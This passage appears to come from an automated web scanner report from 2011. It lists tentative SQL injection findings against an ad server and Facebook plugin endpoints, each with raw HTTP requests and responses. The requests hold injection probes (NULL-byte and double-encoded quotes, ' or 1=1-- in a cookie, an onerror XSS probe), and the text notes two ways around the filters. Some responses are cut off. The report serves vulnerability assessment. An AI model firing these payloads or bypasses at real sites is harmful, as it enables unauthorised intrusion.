Cookie: C2W4=3D-75AN8VZnYq06_wZQiWy50NyrW9adj8DvHdR7ctR5Ho-CybrZh3NQ; V=RiC6i2pCL3Ub; FC1-WC=^54012_1_2R5ws; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0; cw=cw

Response 1

HTTP/1.1 200 OK
X-Powered-By: Servlet/3.0
Server: GlassFish v3
CW-Server: CW-APP202
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Content-Length: 1183
Date: Tue, 10 May 2011 14:10:58 GMT
Connection: close

var strCreative=''
+ '<img src=http://media.contextweb.com/creatives/defaults/300x250.gif height=250 border=0 width=300 alt="There is an error in the ad tag code."><!--ERROR_TAG(id=cw-app202_MK5ySffp
...[SNIP]...

Request 2

GET /TagPublish/getad.aspx?tagver=1&ca=VIEWAD&cp=530930&ct=90494&cf=300X250&cn=1&rq=1&dw=865&cwu=http%3A%2F%2Fwww.gather.com%2F6360d%253Cimg%2Bsrc%3Da%2Bonerror%3Dalert%281%29%253E1b6979d15ce&mrnd=42339118&if=0&tl=1''&pxy=670,265&cxy=865,527&dxy=865,527&tz=300&ln=en-US HTTP/1.1
Host: tag.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: C2W4=3D-75AN8VZnYq06_wZQiWy50NyrW9adj8DvHdR7ctR5Ho-CybrZh3NQ; V=RiC6i2pCL3Ub; FC1-WC=^54012_1_2R5ws; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0; cw=cw

Response 2

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
X-Powered-By: ASP.NET
CW-Server: CW-WEB22
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 2548
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Date: Tue, 10 May 2011 14:10:58 GMT
Connection: close
Set-Cookie: V=RiC6i2pCL3Ub; domain=.contextweb.com; expires=Thu, 10-May-2012 14:10:58 GMT; path=/
Set-Cookie: 530930_3_90494=1305036658918; domain=.contextweb.com; path=/
Set-Cookie: vf=1; domain=.contextweb.com; expires=Wed, 11-May-2011 04:00:00 GMT; path=/

var strCreative=''
+ '<script language="JavaScript">\n'
+ 'var zflag_nid="1432"; var zflag_cid="1"; var zflag_sid="1"; var zflag_width="300"; var zflag_height="250"; var zflag_sz="9";\n'
+ '</scr
...[SNIP]...

1.19. http://tag.contextweb.com/TagPublish/getad.aspx [tz parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://tag.contextweb.com
Path:	/TagPublish/getad.aspx

Issue detail

The tz parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the tz parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

Request 1

GET /TagPublish/getad.aspx?tagver=1&ca=VIEWAD&cp=530930&ct=90495&cf=728X90&cn=1&rq=1&dw=1066&cwu=http%3A%2F%2Fwww.gather.com%2Flogin.action%3FbeamBack%3D%252FviewTag.action&mrnd=13017817&if=0&tl=1&pxy=169,100&cxy=1066,267&dxy=1066,267&tz=300%00'&ln=en-US HTTP/1.1
Host: tag.contextweb.com
Proxy-Connection: keep-alive
Referer: http://www.gather.com/login.action?beamBack=%2FviewTag.action
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C2W4=3bZ_cGKSaikCutesUynzUXb59QbtOHa7Nv35a38qe_dW_2SdvoXWHsQ; cr=2|1|-8588966416881931568|1; cwbh1=541%3B05%2F24%2F2011%3BLIFL1%0A1697%3B05%2F24%2F2011%3BFCRT1%0A2354%3B05%2F24%2F2011%3BZETC1%0A2532%3B05%2F26%2F2011%3BAMQU2%0A1443%3B05%2F30%2F2011%3BNETM7%0A2250%3B06%2F06%2F2011%3BEXPD1; FC1-WC=^53620_1_2TBaI; pb_rtb_ev=1:535495.0c2aede6-6bb6-11e0-8fe6-0025900a8ffe.1|535039.9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC.0|535461.2931142961646634775.0; V=wOebwAz4UvVv; 530930_3_90494=1305036044955; vf=4

Response 1

HTTP/1.1 200 OK
X-Powered-By: Servlet/3.0
Server: GlassFish v3
CW-Server: CW-APP202
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Content-Length: 1183
Date: Tue, 10 May 2011 14:09:40 GMT
Connection: close

var strCreative=''
+ '<img src=http://media.contextweb.com/creatives/defaults/300x250.gif height=250 border=0 width=300 alt="There is an error in the ad tag code."><!--ERROR_TAG(id=cw-app202_LOD8qZmJ
...[SNIP]...

Request 2

GET /TagPublish/getad.aspx?tagver=1&ca=VIEWAD&cp=530930&ct=90495&cf=728X90&cn=1&rq=1&dw=1066&cwu=http%3A%2F%2Fwww.gather.com%2Flogin.action%3FbeamBack%3D%252FviewTag.action&mrnd=13017817&if=0&tl=1&pxy=169,100&cxy=1066,267&dxy=1066,267&tz=300%00''&ln=en-US HTTP/1.1
Host: tag.contextweb.com
Proxy-Connection: keep-alive
Referer: http://www.gather.com/login.action?beamBack=%2FviewTag.action
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C2W4=3bZ_cGKSaikCutesUynzUXb59QbtOHa7Nv35a38qe_dW_2SdvoXWHsQ; cr=2|1|-8588966416881931568|1; cwbh1=541%3B05%2F24%2F2011%3BLIFL1%0A1697%3B05%2F24%2F2011%3BFCRT1%0A2354%3B05%2F24%2F2011%3BZETC1%0A2532%3B05%2F26%2F2011%3BAMQU2%0A1443%3B05%2F30%2F2011%3BNETM7%0A2250%3B06%2F06%2F2011%3BEXPD1; FC1-WC=^53620_1_2TBaI; pb_rtb_ev=1:535495.0c2aede6-6bb6-11e0-8fe6-0025900a8ffe.1|535039.9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC.0|535461.2931142961646634775.0; V=wOebwAz4UvVv; 530930_3_90494=1305036044955; vf=4

Response 2

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
X-Powered-By: ASP.NET
CW-Server: CW-WEB27
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 1412
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Date: Tue, 10 May 2011 14:09:40 GMT
Connection: close
Set-Cookie: V=wOebwAz4UvVv; domain=.contextweb.com; expires=Thu, 10-May-2012 14:09:40 GMT; path=/
Set-Cookie: 530930_4_90495=1305036580989; domain=.contextweb.com; path=/
Set-Cookie: vf=5; domain=.contextweb.com; expires=Wed, 11-May-2011 04:00:00 GMT; path=/

var strCreative=''
+ '<IFRAME HEIGHT="90" WIDTH="728" SRC="http://media.contextweb.com/creatives/BackupTags/530930/82ee614d-b189-4b28-8d83-df850b76e9fbAdKarma_728x90..html" VISIBLE="true" MARGINWIDTH
...[SNIP]...

1.20. http://tag.contextweb.com/TagPublish/getad.aspx [tz parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://tag.contextweb.com
Path:	/TagPublish/getad.aspx

Issue detail

The tz parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the tz parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the tz request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /TagPublish/getad.aspx?tagver=1&ca=VIEWAD&cp=530930&ct=90494&cf=300X250&cn=1&rq=1&dw=865&cwu=http%3A%2F%2Fwww.gather.com%2F6360d%253Cimg%2Bsrc%3Da%2Bonerror%3Dalert%281%29%253E1b6979d15ce&mrnd=42339118&if=0&tl=1&pxy=670,265&cxy=865,527&dxy=865,527&tz=300%2527&ln=en-US HTTP/1.1
Host: tag.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: C2W4=3D-75AN8VZnYq06_wZQiWy50NyrW9adj8DvHdR7ctR5Ho-CybrZh3NQ; V=RiC6i2pCL3Ub; FC1-WC=^54012_1_2R5ws; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0; cw=cw

Response 1

HTTP/1.1 200 OK
X-Powered-By: Servlet/3.0
Server: GlassFish v3
CW-Server: CW-APP202
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Content-Length: 1183
Date: Tue, 10 May 2011 14:11:07 GMT
Connection: close

var strCreative=''
+ '<img src=http://media.contextweb.com/creatives/defaults/300x250.gif height=250 border=0 width=300 alt="There is an error in the ad tag code."><!--ERROR_TAG(id=cw-app202_suBTQLG9
...[SNIP]...

Request 2

GET /TagPublish/getad.aspx?tagver=1&ca=VIEWAD&cp=530930&ct=90494&cf=300X250&cn=1&rq=1&dw=865&cwu=http%3A%2F%2Fwww.gather.com%2F6360d%253Cimg%2Bsrc%3Da%2Bonerror%3Dalert%281%29%253E1b6979d15ce&mrnd=42339118&if=0&tl=1&pxy=670,265&cxy=865,527&dxy=865,527&tz=300%2527%2527&ln=en-US HTTP/1.1
Host: tag.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: C2W4=3D-75AN8VZnYq06_wZQiWy50NyrW9adj8DvHdR7ctR5Ho-CybrZh3NQ; V=RiC6i2pCL3Ub; FC1-WC=^54012_1_2R5ws; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0; cw=cw

Response 2

1.21. http://tag.contextweb.com/TagPublish/getjs.aspx [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://tag.contextweb.com
Path:	/TagPublish/getjs.aspx

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

Request 1

GET /TagPublish%00'/getjs.aspx?01AD=3D-75AN8VZnYq06_wZQiWy50NyrW9adj8DvHdR7ctR5Ho-CybrZh3NQ&01RI=9A58E40C8074BA9&01NA=&action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=530930&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=90494 HTTP/1.1
Host: tag.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: C2W4=CT-1; V=RiC6i2pCL3Ub; FC1-WC=^54012_1_2R5ws; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0

Response 1

HTTP/1.1 400 Bad Request
Content-Type: text/html
nnCoection: close
Content-Length: 34
Vary: Accept-Encoding
Date: Tue, 10 May 2011 14:10:31 GMT
Connection: close
Set-Cookie: C2W4=3D-75AN8VZnYq06_wZQiWy50NyrW9adj8DvHdR7ctR5Ho-CybrZh3NQ; expires=Tue, 07-Jun-2011 14:10:31 GMT; path=/; domain=.contextweb.com
P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"

<h1>Bad Request (Invalid URL)</h1>

Request 2

GET /TagPublish%00''/getjs.aspx?01AD=3D-75AN8VZnYq06_wZQiWy50NyrW9adj8DvHdR7ctR5Ho-CybrZh3NQ&01RI=9A58E40C8074BA9&01NA=&action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=530930&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=90494 HTTP/1.1
Host: tag.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: C2W4=CT-1; V=RiC6i2pCL3Ub; FC1-WC=^54012_1_2R5ws; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0

Response 2

HTTP/1.1 400 Bad Request
X-Powered-By: Servlet/3.0
Content-Length: 0
Cneonction: close
Date: Tue, 10 May 2011 14:10:31 GMT
Connection: close
Set-Cookie: C2W4=3D-75AN8VZnYq06_wZQiWy50NyrW9adj8DvHdR7ctR5Ho-CybrZh3NQ; expires=Tue, 07-Jun-2011 14:10:31 GMT; path=/; domain=.contextweb.com
P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"

1.22. http://www.facebook.com/plugins/facepile.php [datr cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.facebook.com
Path:	/plugins/facepile.php

Issue detail

The datr cookie appears to be vulnerable to SQL injection attacks. The payloads 14514548'%20or%201%3d1--%20 and 14514548'%20or%201%3d2--%20 were each submitted in the datr cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /plugins/facepile.php?action=like&api_key=4d965afccc4d86c598dbf5d94fb34a7c&channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Df3ad7f444%26origin%3Dhttp%253A%252F%252Fwww.huffingtonpost.com%252Ff1a56ca204%26relation%3Dparent.parent%26transport%3Dpostmessage&locale=en_US&max_rows=2&sdk=joey&width=264 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dbing.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww.bing.com%252Fhp%253F%2526MKT%253Den-us%26extra_2%3DUS; datr=ituyTcnawc6q7VcE0gibPCo214514548'%20or%201%3d1--%20; lsd=M8vgg

Response 1

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.82.40
X-Cnection: close
Date: Tue, 10 May 2011 13:36:49 GMT
Content-Length: 6665

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/AZ23fTP8PUp.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yj/r/QyZCsJKRLP8.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yD/r/rZiaNe7iEDZ.css" />

<script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/v1/yV/r/ecpCmrvFebs.js"></script>
<script type="text/javascript">window.Bootloader && Bootloader.done(["lIKWr"]);</script>
<link rel="search" type="application/opensearchdescription+xml" href="http://static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" />
<link rel="shortcut icon" href="http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico" /></head>
<body class="transparent_widget facepile UIPage_LoggedOut safari4 Locale_en_US">
<div class="connect_widget"><div class="clearfix profile_images_with_margin"></div></div><script type="text/javascript">
Env={user:0,locale:"en_US",method:"GET",start:(new Date()).getTime(),ps_limit:5,ps_ratio:4,svn_rev:375981,vip:"69.171.224.39",static_base:"http:\/\/static.ak.fbcdn.net\/",www_base:"http:\/\/www.facebook.com\/",rep_lag:2,fb_dtsg:"-rYxz",lhsh:"71b9b",tracking_domain:"http:\/\/pixel.facebook.com",retry_ajax_on_network_error:"1",ajaxpipe_enabled:"1",no_cookies:1};
</script>
<script type="text/javascript">Bootloader.setResourceMap({"kM3FS":{"type":"css","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yX\/r\/AZ23fTP8PUp.css"},"\/lUyM":{"type":"css","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yj\/r\/QyZCsJKRLP8.css"},"ff6N5":{"type":"css","permanent":1,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yD\/r\/rZiaNe7iEDZ.css"},"\/YYg5":{"type":"css","permanent":1,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/y8\/r\/w8K2nfDzJmR.css"}});Bootloader.setResourceMap({"Zz9gy":{"type":"js","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yE\/r\/AKaGrClUAcV.js"},"JRfiS":{"type":"js","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yL\/r\/KI-TuOEwsYB.js"},"iJB9Y":{"type":"js","sr
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.124.46
X-Cnection: close
Date: Tue, 10 May 2011 13:36:50 GMT
Content-Length: 6691

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yl/r/YT_08LAa7Q_.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yj/r/QyZCsJKRLP8.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yO/r/sBdNI8BQygP.css" />

<script type="text/javascript" src="http://b.static.ak.fbcdn.net/rsrc.php/v1/yV/r/ecpCmrvFebs.js"></script>
<script type="text/javascript">window.Bootloader && Bootloader.done(["lIKWr"]);</script>
<link rel="search" type="application/opensearchdescription+xml" href="http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" />
<link rel="shortcut icon" href="http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico" /></head>
<body class="transparent_widget facepile UIPage_LoggedOut safari4 Locale_en_US">
<div class="connect_widget"><div class="clearfix profile_images_with_margin"></div></div><script type="text/javascript">
Env={user:0,locale:"en_US",method:"GET",start:(new Date()).getTime(),ps_limit:5,ps_ratio:4,svn_rev:375981,vip:"69.171.224.39",static_base:"http:\/\/static.ak.fbcdn.net\/",www_base:"http:\/\/www.facebook.com\/",rep_lag:2,fb_dtsg:"-rYxz",lhsh:"8a049",tracking_domain:"http:\/\/pixel.facebook.com",retry_ajax_on_network_error:"1",ajaxpipe_enabled:"1",no_cookies:1};
</script>
<script type="text/javascript">Bootloader.setResourceMap({"kM3FS":{"type":"css","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yl\/r\/YT_08LAa7Q_.css"},"\/lUyM":{"type":"css","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yj\/r\/QyZCsJKRLP8.css"},"ff6N5":{"type":"css","permanent":1,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yO\/r\/sBdNI8BQygP.css"},"\/YYg5":{"type":"css","permanent":1,"src":"http:\/\/b.static.ak.fbcdn.net\/rsrc.php\/v1\/yC\/r\/CATT0k7_6Qj.css"}});Bootloader.setResourceMap({"Zz9gy":{"type":"js","src":"http:\/\/b.static.ak.fbcdn.net\/rsrc.php\/v1\/yE\/r\/AKaGrClUAcV.js"},"JRfiS":{"type":"js","src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/v1\/yL\/r\/KI-TuOEwsYB.js"},"iJB9Y":{"type":
...[SNIP]...

1.23. http://www.facebook.com/plugins/likebox.php [datr cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The datr cookie appears to be vulnerable to SQL injection attacks. The payloads 20789087'%20or%201%3d1--%20 and 20789087'%20or%201%3d2--%20 were each submitted in the datr cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /plugins/likebox.php?href=http://www.facebook.com/pages/New-York-NY/mocoNews/87122473238&width=192&height=60&colorscheme=light&connections=0&stream=false&header=true HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://moconews.net/article/419-nfc-in-focus-at-google-io-as-foursquare-hashable-join-party/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dbing.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww.bing.com%252Fhp%253F%2526MKT%253Den-us%26extra_2%3DUS; datr=ituyTcnawc6q7VcE0gibPCo220789087'%20or%201%3d1--%20; lsd=M8vgg

Response 1

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.99.27
X-Cnection: close
Date: Tue, 10 May 2011 13:40:50 GMT
Content-Length: 9211

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/AZ23fTP8PUp.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yD/r/rZiaNe7iEDZ.css" />

<script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/v1/yV/r/ecpCmrvFebs.js"></script>
<script type="text/javascript">window.Bootloader && Bootloader.done(["lIKWr"]);</script>
<link rel="search" type="application/opensearchdescription+xml" href="http://static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" />
<link rel="shortcut icon" href="http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico" /></head>
<body class="auto_resize_iframe fan_widget connect_widget UIPage_LoggedOut safari4 Locale_en_US">
<div class="app_content_87122473238"><div class="fan_box"><div class=""><div class="connect_top clearfix"><a href="http://www.facebook.com/mocoNews" target="_blank"><img class="profileimage img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/41599_87122473238_6589482_q.jpg" alt="mocoNews" /></a><div class="connect_action"><div class="name_block"><a href="http://www.facebook.com/mocoNews" target="_blank"><span class="name">mocoNews</span></a></div><div><div id="connect_widget_4dc94062ce4eb1d48734681" class="connect_widget" style=""><table class="connect_widget_interactive_area"><tr><td class="connect_widget_vertical_center connect_widget_button_cell"><div class="connect_button_slider" style=""><div class="connect_button_container"><a class="connect_widget_like_button clearfix like_button_no_like"><div class="tombstone_cross"></div><span class="liketext">Like</span></a></div></div></td><td class="connect_widget_vertical_center"><span class="connect_widget_confirm_span hidden_elem"><a class="mrm connect_widget_confirm_link">Confirm</a></span></td><td class="connect_widget_vertical_center"><div class="connect_confirmation_cell connect_confirmation_cell_no_like"><div class="connect_widget_text_summary connect_text_wrapper"><span class="connect_widget_user_action connect_widget_text hidden_elem">Y
...[SNIP]...

Request 2

